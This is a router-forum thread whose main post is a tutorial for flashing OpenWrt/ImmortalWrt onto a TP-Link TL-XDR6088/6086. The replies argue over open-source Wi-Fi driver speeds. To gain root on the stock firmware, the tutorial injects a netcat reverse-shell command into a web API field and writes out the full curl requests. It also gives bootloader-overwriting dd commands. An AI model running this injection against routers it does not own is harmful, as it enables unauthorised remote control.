找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888
查看: 22040|回复: 114

TL-XDR6088/6086 免拆机刷入官方 Openwrt/Immortalwrt 开源驱动硬件加速 无线满速

  [复制链接]
本帖最后由 riverscn 于 2023-9-6 17:37 编辑

是从我blog中粘贴的内容,懒得排版了。想要更好的排版请访问 https://blog.lishun.me/tl-xdr608x-openwrt-install

本文包含了从原厂固件或其它 Openwrt 刷成官方 Openwrt/Immortalwrt 的方法。

网络上已经有不少文章、视频教程讲 TL-XDR6088/6086 如何刷 openwrt,但全都是刷的L改版,而非官方版。由于官方采用了不同分区格式和 uboot 版本的镜像,刷写的方法有很大区别,还没有人完整地记录过。

官方版对新硬件的支持有时候是更好的,获取固件也更灵活方便。而且,官方版全部是符合 GPL 的开源代码,社区支持也更好。

我手里这台是 TL-XDR6088,如果是 6086,自己操作的时候对应好型号和文件名就行,其余都是一样的。

截至本文写作时,原厂固件版本为 1.0.24 依然可以利用下面所说的 root 方法。将来更高版本可能不保证。

不需要螺丝刀,更不需要 TTL 串口,只需要一台可以连接网线的电脑。

注意事项:

- 建议先将路由器还原为出厂设置,避免因为设置不同导致的影响
- 将网线插在路由器的 1Gb 口上,另一头直连电脑。手动设置 IP 地址为 192.168.1.254,网关地址 192.168.1.1,子网掩码 255.255.255.0 —— 这里很重要,这是官方 openwrt uboot 的 tftp server 地址设置
- 如果你使用的是 Windows,那么强烈建议你先安装好 WSL
- 胆大心细,最重要的是心细,特别是你输入 dd 命令覆写 uboot 的时候,如果错了,就只能送修了。别的步骤都是可逆的,可以胆大


## 0. 下载镜像文件

首先当然是下载镜像文件。你可以选择[官方的](<https://firmware-selector.openwr ... link_tl-xdr6088>),或者跟我一样,选择针对中国大路用户做过特别优化的 [Immortalwrt](<https://firmware-selector.immort ... link_tl-xdr6088>)。4个文件要全部下载,放在同一个文件夹中,下面的步骤会用到。

本文写作时,最新的是 23.05.0-rc3 版。将来请用更新的稳定版本。

目前 Immortalwrt 已经支持:

- 双 2.5Gb 网口的正常驱动(但LED灯还不亮)
- WiFi6 160Mhz
- 硬件流量分载
- WED (Wireless Ethernet Dispatch) 无线加速
- 硬件 NAT 加速
- Fullcone NAT




OpenSpeedTest 在电脑上使用Intel AX210无线网卡测速



然后是喜闻乐见的iPhone 13测速

先看远端测速(2堵墙+1面衣柜)



再看近点测速



该有的都有了,当然 bug 也可能遇到。

## 1. 准备 TFTP 服务器

不要忘了把 TFTP 服务器的目录设为之前下载 Openwrt 镜像文件的目录。整个过程中,你需要一直保持 TFTP 服务器的运行,直到成功刷入镜像。

你可以参考[官方Wiki给出的诸多方法](<https://openwrt.org/docs/guide-u ... ting/tftpserver>)。我简要总结最简单的方式:

- macOS:建议使用[内置的 launchctl 实现 tftp 服务器](<https://openwrt.org/docs/guide-u ... ne_native_tftpd>)
- Linux:建议使用[内置的 dnsmasq 实现 tftp 服务器](<https://openwrt.org/docs/guide-u ... nsmasq_on_linux>)
- Windows 11:建议使用 [tftpd64](<https://pjo2.github.io/tftpd64/>)。Windows 反而是最麻烦的,[仔细阅读官方Wiki](<https://openwrt.org/docs/guide-u ... pd64_on_windows>)后我折腾了好一会儿

如果使用 Windows 11,需要以下的额外步骤确保 TFTPD64 能够为 uboot 所用。

1. 关闭 [media sensing](<https://learn.microsoft.com/zh-c ... ature-for-tcpip>) 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像。需要管理员权限的终端。

```
netsh interface ipv4 set global dhcpmediasense=disabled
netsh interface ipv6 set global dhcpmediasense=disabled
```

  2. 第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。你也可以在管理员权限的终端中为所有TFTP应用打开防火墙端口:

```  
netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public  
```  


## 2. 获取 root 权限控制台

### 2.1 如果路由器是原厂固件

以下方法感谢[南浦月](<https://blog.nanpuyue.com/2022/057.html>)。

1. 安装 [nmap](<https://nmap.org/download.html>),我们主要是要用到里面的 ncat
2. 打开一个终端窗口,运行 `ncat -nvlp 4444`,开始侦听
3. 按 F12 打开浏览器调试控制台,找到形如 `http://192.168.1.1/stok=<stok值>/ds` 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了
4. 接下来,如果你是用的 Windows,在 WSL 终端里进行以下操作。而 Linux 或 macOS 的终端本身可以直接操作
5. 先把 stok 存入环境变量
```
export stok=<stok值>
```
6. 然后运行以下命令  
```  
curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'  
```

如果成功运行,则会返回 `{"error_code":0}`

8. 继续运行以下命令(一行)  
```
curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
```  

如果成功运行,则会返回 `{"error_code":0}`  

此时,在步骤2中打开的终端窗口中,你应该会看到如下提示:  

```
sh: can't access tty; job control turned off
BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #
```

这就成功地开启了具有 root 权限的控制台命令行提示符了。

9. 如果想要重新启用这个控制台,你可以先重复步骤2,然后再把步骤8中的末尾 `"block":"1"` 改成 `"block":"0"` ,运行一下。然后再重复步骤8即可。

### 2.1 如果路由器已经刷了其它版本的 Openwrt

1. ssh 到 Openwrt 的控制台
2. 打开mtd写入(如果是L改版固件,这一步或可省)
  ```
  opkg update
  opkg install kmod-mtd-rw
  insmod mtd-rw i_want_a_brick=1
  ```

## 3. 传输 uboot 镜像

在这之前,先备份路由器的原厂固件,将来才能恢复。(逐条执行,小心一点,非原厂固件可跳过)

```
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
md5sum /tmp/backup.img
```

最后一条命令是计算文件的 md5 值。在 TFTP 服务器收到文件后,也要在电脑上检查一下,确保两者一致。如果使用的是 Windows 电脑可以运行 `certutil -hashfile 文件名 md5` 来计算。在下面的步骤中,也建议你在通过 TFTP 传输了文件后检查两边的 md5 值是否相同,确保万无一失。毕竟,接下来的步骤出错会导致路由器变砖,必须拆芯片维修。

如果你用的非原厂固件,可能需要先通过 opkg 安装一下 tftp 软件包。

先把 uboot 文件传输过去:

```
tftp -g -l /tmp/preloader.bin -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/bl31-uboot.fip -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254
```

传输完了先检查 md5,没问题就进行写入。

## 4. 写入 uboot

### 4.1 如果路由器是原厂固件

这时候你可以播放一首 Michael Jackson 的 Dangerous 作为背景音乐。

以下命令一定不能调换顺序,不然你将收获一块砖。

```
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/bl31-uboot.fip
```

正常的运行结果是(xyab是数字)

```
x+y records in
a+b records out
```

如果中途有什么错误发生了,请深呼吸一口,然后重新依次运行一遍。

### 4.2 如果路由器已经刷了其它版本的 Openwrt

```cat /proc/mtd```

得到mtd设备的真实命名,再用命令来写入

在 Openwrt 中运行

```
md5sum /tmp/preloader.bin
mtd erase BL2
mtd write /tmp/preloader.bin BL2
mtd verify /tmp/preloader.bin BL2

md5sum /tmp/bl31-uboot.fip
mtd erase FIP
mtd write /tmp/bl31-uboot.fip FIP
mtd verify /tmp/bl31-uboot.fip FIP
```

注意查看上传的两个文件 md5 并和本地文件对比,查看两次 mtd verify 最后是否输出输出 Success,没问题才可进行下一步。

## 5. 通过 tftp 载入 recovery 镜像

这时候你可以拔掉路由器的电源,然后插上。直接拔电源可能是最安全的,因为如果你用 reboot 命令,可能会有一些后台程序运行(包括可能你之前在慌乱中没有杀掉的误操作了的 dd)导致路由器变砖。别问我是怎么知道的。

此时 tftp 服务器上应该已经有提示了,路由器在请求的文件名为 `openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb` 。你只需要把结尾为 `recovery.itb` 的文件,改名为这个就行了。

如果没动静,你可以拔下电源,然后顶住 reset 孔不放,同时插入电源,应该会看到 LAN 口的灯齐闪一下。大约10秒钟,应该就会进入 recovery 模式。确保网线插在 1Gb LAN 口上,网口的灯应该会亮的。

很快就会传输完成,下面是 Windows 上的 tftpd64 的文件报错,和改名后成功传输的截图。



## 6. 刷入 sysupgrade 镜像

在接收了 recovery 镜像后,路由器会马上启动 openwrt,这时候你在浏览器中输入网址 `192.168.1.1` 应该就可以打开 openwrt 的网页端了。

根据提示,在网页中上传 `sysupgrade.itb` 镜像文件,进行刷入。然后就大功告成了。

但这还不是结束,6088/6086 的硬件性能想要充分发挥,还需要进行一些优化设置。下一篇再记录。

## 7. 如何刷回原厂固件

前提是你有原厂固件的备份镜像。

   1. 将备份的文件传到Openwrt的tmp目录
   2. 打开mtd写入(如果是L改版固件,这一步或可省)
   ```
  opkg update
  opkg install kmod-mtd-rw
  insmod mtd-rw i_want_a_brick=1
  ```
   2. 上传backup.img到/tmp,之后拆分备份文件。
   ```
  dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8
  ```
   3. mtd命令写入mtd0分区,之后断电重启就会进入tp恢复模式,刷入[tp官网固件](<https://www.right.com.cn/forum/thread-8296029-1-1.html>)即可。注意不要刷入高于1.0.24版本的固件。
  ```
  mtd write /tmp/backup-mtd0.img /dev/mtd0
  ```

刷入Openwrt或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

评分

参与人数 2恩山币 +2 收起 理由
jiach*** + 1 感谢大佬教程,期待优化篇
小牛*** + 1 感谢分享!给大佬加鸡腿!

查看全部评分

我的恩山、我的无线 The best wifi forum is right here.
大佬!!!
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

虽然你写了很多但是你看过这个帖子吗?https://forum.openwrt.org/t/802- ... -mt76-driver/126466
MT76还是跑不起来速度 甚至AX下比AC更慢 在有联发科SDK修改的https://github.com/hanwckf/immortalwrt-mt798x https://github.com/padavanonly/immortalwrtARM/tree/mt7986 这两个源码的情况下 我无法理解为什么要刷一个无法发挥硬件性能的“官方”openwrt

点评

我测过啊,可以跑满啊。最近官方增加了WED支持,跑到2400~4800Mbps不是问题,SMB拷贝文件最高可达170M/s。下一篇帖子会讲的。  详情 回复 发表于 2023-7-31 10:36
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
本帖最后由 riverscn 于 2023-7-31 10:46 编辑

我测过啊,可以跑满啊。最近官方增加了WED支持,跑到2400~4800Mbps不是问题,SMB拷贝文件最高可达170M/s。下一篇帖子会讲的。
补充了截图,你也可以看到无线速率是多么正常。
然后这个路由器是MT79,不是MT76。原帖也有人用新的版本跑出了不错的速度。

点评

你找个苹果终端试试 或者隔一堵承重墙和SDK OP对比速度 贴脸没意义的;MT76是联发科的开源无线驱动名字 没有MT79这种东西  详情 回复 发表于 2023-7-31 10:48
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

riverscn 发表于 2023-7-31 10:36
我测过啊,可以跑满啊。最近官方增加了WED支持,跑到2400~4800Mbps不是问题,SMB拷贝文件最高可达170M/s。 ...

你找个苹果终端试试 或者隔一堵承重墙和SDK OP对比速度 贴脸没意义的;MT76是联发科的开源无线驱动名字 没有MT79这种东西

点评

我就是苹果终端呀,隔了一堵墙的房间,跑满700Mbps左右,很正常。 现在不在家里,下一篇文章会讲的,同时会附上各种测试截图。 之前或许是有问题,现在反正开源驱动没啥问题了,今非昔比。  详情 回复 发表于 2023-7-31 10:52
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
本帖最后由 riverscn 于 2023-7-31 10:57 编辑
yuyuyg 发表于 2023-7-31 10:48
你找个苹果终端试试 或者隔一堵承重墙和SDK OP对比速度 贴脸没意义的;MT76是联发科的开源无线驱动名字  ...

我就是苹果终端呀,隔了一堵墙的房间,跑满700Mbps左右,很正常。
现在不在家里,下一篇文章会讲的,同时会附上各种测试截图。

之前或许是有问题,现在反正开源驱动没啥问题了,今非昔比。

最近更新了两拨:
https://github.com/immortalwrt/i ... 7cdde57e2230e14d766

https://github.com/immortalwrt/i ... 97778fd8f4f60e2514f

点评

别 以前适配AX6S的时候MT76就是一坨 那时候也是不停追新 每次都更新一大堆东西 但是测试都还是一坨  详情 回复 发表于 2023-7-31 11:01
你说的是这个?主贴说的是7915留存的160MHz模式导致AX极慢 解决方案为删掉160MHz 但是AX6000的用户做的测试这两个回复看来 苹果的上传速度依旧是一坨 驱动还是有问题 https://forum.openwrt.org/t/802-11ax-worse-th  详情 回复 发表于 2023-7-31 10:59
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

riverscn 发表于 2023-7-31 10:52
我就是苹果终端呀,隔了一堵墙的房间,跑满700Mbps左右,很正常。
现在不在家里,下一篇文章会讲的,同时 ...

你说的是这个?主贴说的是7915留存的160MHz模式导致AX极慢 解决方案为删掉160MHz 但是AX6000的用户做的测试这两个回复看来 苹果的上传速度依旧是一坨 驱动还是有问题
https://forum.openwrt.org/t/802- ... 6-driver/126466/611
https://forum.openwrt.org/t/802- ... 6-driver/126466/617
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

riverscn 发表于 2023-7-31 10:52
我就是苹果终端呀,隔了一堵墙的房间,跑满700Mbps左右,很正常。
现在不在家里,下一篇文章会讲的,同时 ...

别 以前适配AX6S的时候MT76就是一坨 那时候也是不停追新 每次都更新一大堆东西 但是测试都还是一坨

点评

没关系啦,我是用户,你又不是。 我测出来速度很好,稳定性也没问题,难道我出现了幻觉? 你激动得有点莫名其妙哦,兄弟。  详情 回复 发表于 2023-7-31 11:03
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
本帖最后由 riverscn 于 2023-7-31 11:10 编辑
yuyuyg 发表于 2023-7-31 11:01
别 以前适配AX6S的时候MT76就是一坨 那时候也是不停追新 每次都更新一大堆东西 但是测试都还是一坨 ...

没关系啦,我是用户,你又不是。
我测出来速度很好,稳定性也没问题,难道我出现了幻觉?
你激动得有点莫名其妙哦,兄弟。

今非昔比是常有的事情,不要经验主义。AX6S的时候不行,不代表MT79xx不行。


闭源驱动和Openwrt以及Linux Kernel的耦合经常会有问题,并不是完美的解决方案。MTK只要支持开源驱动的发展,总有一天开源驱动会完善的。目前对于Filogic平台来说已经在完善的方向上了。

点评

有什么好激动的 只是看到又一个拉人去用更不好用性能又差的东西说一嘴 而且我举证的东西就在OP自己的论坛 明确展示了驱动上传有问题 你说你使用速度很好那你举证吗? 还经验主义 整个贴都在说MT76不好 不止7915 还有  详情 回复 发表于 2023-7-31 11:14
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

本帖最后由 doveki 于 2023-7-31 11:09 编辑

那是22年的帖子了 那会开源无线驱动甚至不支持硬件加速,现在硬件加速啥的都支持接近满血水平了
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

riverscn 发表于 2023-7-31 11:03
没关系啦,我是用户,你又不是。
我测出来速度很好,稳定性也没问题,难道我出现了幻觉?
你激动得有点莫 ...

有什么好激动的 只是看到又一个拉人去用更不好用性能又差的东西说一嘴 而且我举证的东西就在OP自己的论坛 明确展示了驱动上传有问题 你说你使用速度很好那你举证吗?
还经验主义 整个贴都在说MT76不好 不止7915 还有798x 到你这里就是我是用户他们不是了 他们用的有错你用的才是真的?

点评

我会举证啊,说了现在我不在家里。下一篇文章会详细讲的。 我疯了如果不好用我写这么长的文章干什么……  详情 回复 发表于 2023-7-31 11:21
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
本帖最后由 riverscn 于 2023-7-31 11:22 编辑
yuyuyg 发表于 2023-7-31 11:14
有什么好激动的 只是看到又一个拉人去用更不好用性能又差的东西说一嘴 而且我举证的东西就在OP自己的论坛 ...

我会举证啊,说了现在我不在家里。下一篇文章会详细讲的。
我疯了如果不好用我写这么长的文章干什么……
官方论坛里的用户不会用的多着去了,我写这篇文章本意也是为了教官方论坛一帮不会刷机的人…… https://forum.openwrt.org/t/addi ... xdr-6086/140637/168

点评

我举例的官方论坛那两个回复是在修bug的回复后按照流程运行了修复脚本后进行的测速 就这样都还是不会用的用户?你是否太高看自己了?  详情 回复 发表于 2023-7-31 11:39
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

本帖最后由 doveki 于 2023-7-31 11:28 编辑
riverscn 发表于 2023-7-31 11:21
我会举证啊,说了现在我不在家里。下一篇文章会详细讲的。
我疯了如果不好用我写这么长的文章干什么……
...


你和他这种人争啥 你看看他的发帖记录就知道了 不是主题帖撕逼就是回帖在和人吠 这人连7986机子都没有的 和他浪费什么时间

点评

乐 一个只知道在回复可见贴喊666的在那评论MT76和SDK无线驱动性能 啥都没碰过的就别装高深了 有台7986就有优越感啊?太廉价了吧?AX6000 全千兆用着没意义 又不想现在上双2.5G 7981性能足够用着等7988 我都买了5台79  详情 回复 发表于 2023-7-31 11:37
懂了……  详情 回复 发表于 2023-7-31 11:27
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
doveki 发表于 2023-7-31 11:24
你和他这种人争啥 你看看他的发帖记录就知道了 不是主题帖撕逼就是回帖在和人吠 这人连ax6000机子都没有 ...

懂了……
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

doveki 发表于 2023-7-31 11:24
你和他这种人争啥 你看看他的发帖记录就知道了 不是主题帖撕逼就是回帖在和人吠 这人连7986机子都没有的  ...

乐 一个只知道在回复可见贴喊666的在那评论MT76和SDK无线驱动性能 啥都没碰过的就别装高深了
有台7986就有优越感啊?太廉价了吧?AX6000 全千兆用着没意义 又不想现在上双2.5G 7981性能足够用着等7988 我都买了5台7981到处送朋友了
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛上一条 /1 下一条

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2024-5-4 05:19

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com 举报电话:0519-86695797

快速回复 返回顶部 返回列表